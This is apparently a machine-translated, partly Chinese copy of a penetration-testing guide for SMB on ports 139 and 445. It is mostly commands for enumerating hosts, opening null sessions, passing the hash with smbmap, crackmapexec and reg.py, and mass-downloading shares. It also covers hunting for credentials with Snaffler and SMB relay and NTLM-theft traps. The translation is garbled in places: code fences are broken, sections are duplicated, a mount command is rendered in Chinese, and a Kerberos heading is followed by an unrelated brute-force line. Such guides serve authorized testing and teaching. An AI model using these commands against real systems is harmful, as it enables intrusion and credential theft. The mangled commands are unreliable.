端口 139

NetBIOS 代表 网络基本输入输出系统。它是一种软件协议，允许局域网（LAN）上的应用程序、个人电脑和桌面电脑与网络硬件进行通信，并在网络上传输数据。在 NetBIOS 网络上运行的软件应用程序通过它们的 NetBIOS 名称定位和识别彼此。NetBIOS 名称最长可达 16 个字符，并且通常与计算机名称分开。当一个应用程序（客户端）通过 TCP 端口 139 发送命令“呼叫”另一个客户端（服务器）时，它们会启动一个 NetBIOS 会话。（摘自这里）

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

端口445

虽然端口139在技术上被称为“NBT over IP”，但端口445是“SMB over IP”。SMB代表“Server Message Blocks”。现代语言中，Server Message Block也被称为Common Internet File System。该系统作为应用层网络协议主要用于在网络上的节点之间提供共享文件、打印机、串口和其他通信方式。

例如，在Windows上，SMB可以直接在TCP/IP上运行，而无需NetBIOS over TCP/IP。正如你所指出的，这将使用端口445。在其他系统上，你会发现服务和应用程序使用端口139。这意味着SMB正在使用NetBIOS over TCP/IP。（摘自这里）

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Server Message Block (SMB) 是一种客户端-服务器协议，用于管理对文件、整个目录和其他网络资源（如打印机、路由器或网络接口）的访问。该协议的主要应用领域是特定的Windows操作系统系列，其网络服务以向下兼容的方式支持SMB - 这意味着具有较新版本的设备可以轻松与安装有较旧Microsoft操作系统的设备进行通信。
通过免费软件项目Samba，还可以在Linux和Unix发行版中使用SMB，从而实现跨平台的SMB通信。

SMB服务器可以将其本地文件系统的任意部分作为共享提供。因此，对客户端可见的层次结构部分上独立于服务器上的结构。访问权限由访问控制列表（ACL）定义。它们可以根据**执行、读取和完全访问等属性以细粒度的方式**对个别用户或用户组进行控制。ACL是基于共享定义的，因此与在服务器上本地分配的权限不对应。

IPC$ 共享

来自书籍 Network Security Assessment 3rd edition

通过匿名空会话，您可以访问IPC$共享并与通过命名管道公开的服务进行交互。Kali Linux中的enum4linux实用程序非常有用；使用它，您可以获取以下信息：

操作系统信息
父域的详细信息
本地用户和组列表
可用SMB共享的详细信息
有效的系统安全策略

什么是NTLM

如果您不知道什么是NTLM，或者想了解它是如何工作和如何滥用它的，您会发现这个关于NTLM的页面非常有趣，其中解释了该协议的工作原理以及您如何利用它：

{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

服务器枚举

扫描网络以搜索主机：

nbtscan -r 192.168.0.1/24

SMB 服务器版本

为了寻找可能的 SMB 版本漏洞，了解正在使用的版本非常重要。如果这些信息在其他工具中没有显示，你可以：

使用 MSF 辅助模块 _auxiliary/scanner/smb/smb_version
或者使用以下脚本：

#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

搜索漏洞

To search for exploits, you can use various tools and resources. Here are some common methods:

Exploit Databases: Websites like Exploit-DB, Rapid7, and Metasploit provide extensive databases of known exploits. You can search these databases using relevant keywords or specific vulnerabilities.
Vulnerability Scanners: Tools like Nessus, OpenVAS, and Nexpose can scan networks and systems for known vulnerabilities and provide a list of potential exploits.
Security Bulletins: Software vendors and security organizations often release security bulletins that detail vulnerabilities and their associated exploits. These bulletins can be found on the vendor's website or through security advisory services.
Exploit Frameworks: Frameworks like Metasploit offer a wide range of exploits and payloads that can be used for penetration testing. These frameworks provide a command-line interface for searching and executing exploits.

Remember to always use these tools and resources responsibly and with proper authorization. Unauthorized exploitation of vulnerabilities is illegal and unethical.

Shared Folders Enumeration

List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

```markdown
## smbclient --no-pass -L //<IP> # 空用户
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # 如果省略密码，将提示输入。使用 --pw-nt-hash，提供的密码是NT哈希值

## smbmap -H <IP> [-P <PORT>] # 空用户
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # 凭证
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # 递归列表

## crackmapexec smb <IP> -u '' -p '' --shares # 空用户
crackmapexec smb <IP> -u 'username' -p 'password' --shares # Guest用户
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # Guest用户


### **Connect/List a shared folder**

```bash
# 使用smbclient进行连接
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #如果省略密码，将会提示输入。使用--pw-nt-hash，提供的密码是NT哈希值
# 使用--no-pass -c 'recurse;ls' 以smbclient递归列出文件列表

# 使用smbmap进行列出，不指定文件夹将列出所有内容
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # 递归列出
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # 非递归列出
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] # 使用哈希传递密码

Manually enumerate windows shares and connect to them

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

C$
D$
ADMIN$
IPC$
PRINT$
FAX$
SYSVOL
NETLOGON

(Common share names from Network Security Assessment 3rd edition)

You can try to connect to them by using the following command

```markdown
使用空会话连接到Windows共享：

smbclient -U '%' -N \\\\<IP>\\<SHARE>

使用身份验证会话连接到Windows共享（将提示输入密码）：

smbclient -U '<USER>' \\\\<IP>\\<SHARE>


or this script (using a null session)

```bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] 可以创建一个空会话来访问 $share" # 如果命令成功执行，没有输出，因此假设已创建会话
else
echo $output # 输出错误信息（例如 NT_STATUS_ACCESS_DENIED 或 NT_STATUS_BAD_NETWORK_NAME）
fi
done

## SMB服务渗透

### smbclient命令

使用`smbclient`命令可以与SMB服务进行交互。以下是一些常用的`smbclient`命令示例：

- `smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here`：返回`NT_STATUS_BAD_NETWORK_NAME`错误。
- `smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$`：返回`NT_STATUS_ACCESS_DENIED`错误，或者甚至会给你一个会话。

<h2>SMB服务渗透</h2>

### Mount a shared folder

```bash
```shell
挂载 -t cifs //x.x.x.x/share /mnt/share
挂载 -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share


### **Download files**

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

```bash
#搜索并下载文件
sudo smbmap -R 文件夹 -H <IP> -A <文件名> -q # 以递归模式搜索文件并将其下载到 /usr/share/smbmap 中

# 下载全部文件
smbclient //<IP>/<共享目录>
> mask ""
> recurse
> prompt
> mget *
# 将所有文件下载到当前目录

Commands:

mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
recurse: toggles recursion on (default: off)
prompt: toggles prompting for filenames off (default: on)
mget: copies all files matching the mask from host to client machine

(Information from the manpage of smbclient)

Domain Shared Folders Search

Snaffler****

Snaffler.exe -s -d domain.local -o snaffler.log -v data


使用Snaffler.exe工具，执行以下命令：

Snaffler.exe -s -d domain.local -o snaffler.log -v data


- `-s` 参数表示启用扫描模式。
- `-d domain.local` 参数指定要扫描的目标域名。
- `-o snaffler.log` 参数将扫描结果输出到名为snaffler.log的日志文件中。
- `-v data` 参数表示详细输出扫描结果的数据信息。

CrackMapExec spider.
-M spider_plus [--share <share_name>]
--pattern txt

sudo crackmapexec smb 10.10.10.10 -u 用户名 -p 密码 -M spider_plus --share '部门共享'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

{% hint style="info" %} The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts.
You should check the scripts inside of it as you might find sensitive info such as passwords. {% endhint %}

Read Registry

You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

Setting	Description
`browseable = yes`	Allow listing available shares in the current share?
`read only = no`	Forbid the creation and modification of files?
`writable = yes`	Allow users to create and modify files?
`guest ok = yes`	Allow connecting to the service without using a password?
`enable privileges = yes`	Honor privileges assigned to specific SID?
`create mask = 0777`	What permissions must be assigned to the newly created files?
`directory mask = 0777`	What permissions must be assigned to the newly created directories?
`logon script = script.sh`	What script needs to be executed on the user's login?
`magic script = script.sh`	Which script should be executed when the script gets closed?
`magic output = script.out`	Where the output of the magic script needs to be stored?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

ridenum.py <IP> 500 50000 /root/passwds.txt #使用ridenum.py脚本对rid进行暴力破解，然后尝试对每个用户名进行暴力破解


## SMB relay attack

This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

## SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`

This happens with the functions:

* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

## NTLM Theft

Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
